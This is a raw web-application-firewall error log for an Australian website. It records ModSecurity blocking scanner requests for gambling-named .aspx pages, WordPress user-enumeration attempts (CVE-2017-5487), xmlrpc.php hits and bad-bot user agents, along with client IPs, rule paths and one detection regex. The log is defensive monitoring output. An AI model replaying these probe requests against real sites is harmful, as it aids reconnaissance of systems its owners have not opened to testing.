[Wed Jan 28 13:40:46.901884 2026] [:error] [pid 33636:tid 33658] [client 147.135.212.200:44134] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXmhXtIVZAudQH0BSC7mMQAAAhQ"]
[Wed Jan 28 13:40:49.382776 2026] [:error] [pid 42740:tid 42750] [client 147.135.212.200:44144] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aXmhYVnjAS34srJlXgRHKwAAAIg"]
[Wed Jan 28 15:04:34.360609 2026] [:error] [pid 33636:tid 33643] [client 217.160.134.4:45166] [client 217.160.134.4] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXm1AtIVZAudQH0BSC74aAAAAgU"]
[Wed Jan 28 16:16:47.729761 2026] [:error] [pid 33490:tid 33528] [client 43.157.95.131:46002] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXnF72jexcy58gsBPJFTmQAAAEQ"]
[Wed Jan 28 18:19:06.654915 2026] [:error] [pid 42740:tid 42752] [client 216.10.27.223:59609] [client 216.10.27.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.10.27.223, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXnimlnjAS34srJlXgSECAAAAIo"], referer: https://vetstars.com.au/
[Wed Jan 28 22:00:09.600734 2026] [:error] [pid 33491:tid 33568] [client 34.73.161.186:49727] [client 34.73.161.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.161.186, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXoWaWP9UY0x3irkINBAtwAAANE"]
[Wed Jan 28 22:00:12.406045 2026] [:error] [pid 33491:tid 33575] [client 34.73.161.186:49727] [client 34.73.161.186] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXoWbGP9UY0x3irkINBAuwAAANg"]
[Wed Jan 28 22:00:14.696114 2026] [:error] [pid 33491:tid 33559] [client 34.73.161.186:49727] [client 34.73.161.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.161.186, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXoWbmP9UY0x3irkINBAwQAAAMg"]
[Wed Jan 28 23:15:51.377868 2026] [:error] [pid 33636:tid 33661] [client 213.209.159.151:46308] [client 213.209.159.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXooJ9IVZAudQH0BSC5cAgAAAhc"]
[Thu Jan 29 03:34:15.199375 2026] [:error] [pid 15948:tid 15971] [client 47.90.227.150:41146] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXpkt8s8-GxRVq8LLTWeKwAAAAc"]
[Thu Jan 29 03:34:15.608162 2026] [:error] [pid 15950:tid 16026] [client 47.90.227.150:43648] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXpkt4JOXwUqBC55abQr_wAAAIc"]
[Thu Jan 29 07:21:20.672826 2026] [:error] [pid 20579:tid 20654] [client 176.57.188.217:45894] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXqZ8DVXNopcNyjJc9V7FgAAAk0"]
[Thu Jan 29 07:21:25.671815 2026] [:error] [pid 20578:tid 20630] [client 176.57.188.217:55674] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXqZ9Q6UX7yOMwQFiyeUfAAAAhE"]
[Thu Jan 29 07:21:29.178893 2026] [:error] [pid 20576:tid 20595] [client 176.57.188.217:37244] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXqZ-SrDZws_FlQGi9fffAAAAck"]
[Thu Jan 29 07:21:32.234334 2026] [:error] [pid 19071:tid 19133] [client 176.57.188.217:37260] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aXqZ_Jfa8Ix5wWmtmJy4eQAAAIA"]
[Thu Jan 29 07:21:35.461764 2026] [:error] [pid 19069:tid 19095] [client 176.57.188.217:37268] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aXqZ__DHsRM4BJ9a4QtvnAAAABE"]
[Thu Jan 29 07:21:38.681659 2026] [:error] [pid 19069:tid 19092] [client 176.57.188.217:52052] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXqaAvDHsRM4BJ9a4QtvogAAAA4"]
[Thu Jan 29 07:21:41.725083 2026] [:error] [pid 20578:tid 20613] [client 176.57.188.217:52056] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXqaBQ6UX7yOMwQFiyeUjAAAAgA"]
[Thu Jan 29 07:21:44.955232 2026] [:error] [pid 19069:tid 19098] [client 176.57.188.217:52066] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXqaCPDHsRM4BJ9a4QtvpgAAABQ"]
[Thu Jan 29 07:21:48.093769 2026] [:error] [pid 20486:tid 20504] [client 176.57.188.217:45556] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXqaDHgqSZb6GBx5nnMGjAAAAQ8"]
[Thu Jan 29 07:21:50.934734 2026] [:error] [pid 20486:tid 20501] [client 176.57.188.217:45572] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXqaDngqSZb6GBx5nnMGkQAAAQw"]
[Thu Jan 29 07:21:53.837038 2026] [:error] [pid 19069:tid 19092] [client 176.57.188.217:45582] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aXqaEfDHsRM4BJ9a4QtvsgAAAA4"]
[Thu Jan 29 07:21:56.940618 2026] [:error] [pid 20486:tid 20498] [client 176.57.188.217:45596] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXqaFHgqSZb6GBx5nnMGmwAAAQk"]
[Thu Jan 29 07:21:59.921459 2026] [:error] [pid 20578:tid 20613] [client 176.57.188.217:36496] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXqaFw6UX7yOMwQFiyeUngAAAgA"]
[Thu Jan 29 07:22:03.278766 2026] [:error] [pid 20578:tid 20625] [client 176.57.188.217:36508] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aXqaGw6UX7yOMwQFiyeUowAAAgw"]
[Thu Jan 29 07:22:06.744563 2026] [:error] [pid 20486:tid 20497] [client 176.57.188.217:36510] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aXqaHngqSZb6GBx5nnMGtQAAAQg"]
[Thu Jan 29 07:22:09.556608 2026] [:error] [pid 20519:tid 20565] [client 176.57.188.217:34484] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXqaIQo4s4fyROrkyRlQnQAAAZE"]
[Thu Jan 29 07:22:12.722795 2026] [:error] [pid 19070:tid 19130] [client 176.57.188.217:34494] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXqaJLou83lIon_aKgYs8wAAAFg"]
[Thu Jan 29 07:22:15.758385 2026] [:error] [pid 20519:tid 20570] [client 176.57.188.217:34508] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aXqaJwo4s4fyROrkyRlQoAAAAZY"]
[Thu Jan 29 07:23:04.140099 2026] [:error] [pid 19069:tid 19089] [client 176.57.188.217:33740] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXqaWPDHsRM4BJ9a4QtwCAAAAAs"]
[Thu Jan 29 07:23:07.504085 2026] [:error] [pid 19177:tid 19201] [client 176.57.188.217:39016] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXqaW3ipGz0PT8TrQv4ABAAAANY"]
[Thu Jan 29 07:23:10.369037 2026] [:error] [pid 20579:tid 20661] [client 176.57.188.217:51092] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aXqaXjVXNopcNyjJc9V7fwAAAlQ"]
[Thu Jan 29 07:23:13.282746 2026] [:error] [pid 19069:tid 19102] [client 176.57.188.217:51102] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aXqaYfDHsRM4BJ9a4QtwEAAAABg"]
[Thu Jan 29 07:23:16.097741 2026] [:error] [pid 19069:tid 19094] [client 176.57.188.217:51114] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aXqaZPDHsRM4BJ9a4QtwEgAAABA"]
[Thu Jan 29 07:23:19.323152 2026] [:error] [pid 20486:tid 20500] [client 176.57.188.217:50588] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXqaZ3gqSZb6GBx5nnMHRwAAAQs"]
[Thu Jan 29 07:23:22.203611 2026] [:error] [pid 19071:tid 19145] [client 176.57.188.217:50596] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXqaapfa8Ix5wWmtmJy49QAAAIw"]
[Thu Jan 29 07:23:26.065654 2026] [:error] [pid 20486:tid 20507] [client 176.57.188.217:50602] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXqabngqSZb6GBx5nnMHVwAAARI"]
[Thu Jan 29 07:23:28.891858 2026] [:error] [pid 19071:tid 19153] [client 176.57.188.217:36120] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXqacJfa8Ix5wWmtmJy4_AAAAJQ"]
[Thu Jan 29 07:23:31.860342 2026] [:error] [pid 20580:tid 20687] [client 176.57.188.217:36132] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXqac5CZ5HHdXPmeL59iMwAAApM"]
[Thu Jan 29 07:23:34.835418 2026] [:error] [pid 19071:tid 19137] [client 176.57.188.217:36144] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXqadpfa8Ix5wWmtmJy5CAAAAIQ"]
[Thu Jan 29 07:23:37.672823 2026] [:error] [pid 20486:tid 20500] [client 176.57.188.217:41830] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aXqaeXgqSZb6GBx5nnMHcAAAAQs"]
[Thu Jan 29 07:23:40.583479 2026] [:error] [pid 20519:tid 20553] [client 176.57.188.217:41844] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aXqafAo4s4fyROrkyRlQ2QAAAYU"]
[Thu Jan 29 07:23:43.593448 2026] [:error] [pid 19071:tid 19141] [client 176.57.188.217:41854] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aXqaf5fa8Ix5wWmtmJy5DwAAAIg"]
[Thu Jan 29 07:23:46.657899 2026] [:error] [pid 19070:tid 19110] [client 176.57.188.217:41858] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aXqagrou83lIon_aKgYtlAAAAEQ"]
[Thu Jan 29 07:23:49.514839 2026] [:error] [pid 20580:tid 20683] [client 176.57.188.217:39886] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXqahZCZ5HHdXPmeL59iSQAAAo8"]
[Thu Jan 29 07:23:52.375071 2026] [:error] [pid 20486:tid 20503] [client 176.57.188.217:39888] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXqaiHgqSZb6GBx5nnMHgwAAAQ4"]
[Thu Jan 29 07:23:55.346623 2026] [:error] [pid 19071:tid 19157] [client 176.57.188.217:39900] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXqai5fa8Ix5wWmtmJy5HwAAAJg"]
[Thu Jan 29 07:23:58.048837 2026] [:error] [pid 20579:tid 20653] [client 176.57.188.217:35994] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXqajjVXNopcNyjJc9V7oQAAAkw"]
[Thu Jan 29 07:24:47.399317 2026] [:error] [pid 20486:tid 20491] [client 176.57.188.217:36000] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXqav3gqSZb6GBx5nnMH4QAAAQI"]
[Thu Jan 29 07:24:50.397394 2026] [:error] [pid 20519:tid 20555] [client 176.57.188.217:42742] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aXqawgo4s4fyROrkyRlRnwAAAYc"]
[Thu Jan 29 07:24:53.305296 2026] [:error] [pid 20486:tid 20497] [client 176.57.188.217:42756] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXqaxXgqSZb6GBx5nnMH7wAAAQg"]
[Thu Jan 29 07:24:56.841097 2026] [:error] [pid 19070:tid 19129] [client 176.57.188.217:42764] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aXqayLou83lIon_aKgYt3gAAAFc"]
[Thu Jan 29 07:24:59.709901 2026] [:error] [pid 19070:tid 19119] [client 176.57.188.217:58200] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aXqay7ou83lIon_aKgYt5AAAAE0"]
[Thu Jan 29 07:25:03.355419 2026] [:error] [pid 19070:tid 19113] [client 176.57.188.217:58208] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aXqaz7ou83lIon_aKgYt7gAAAEc"]
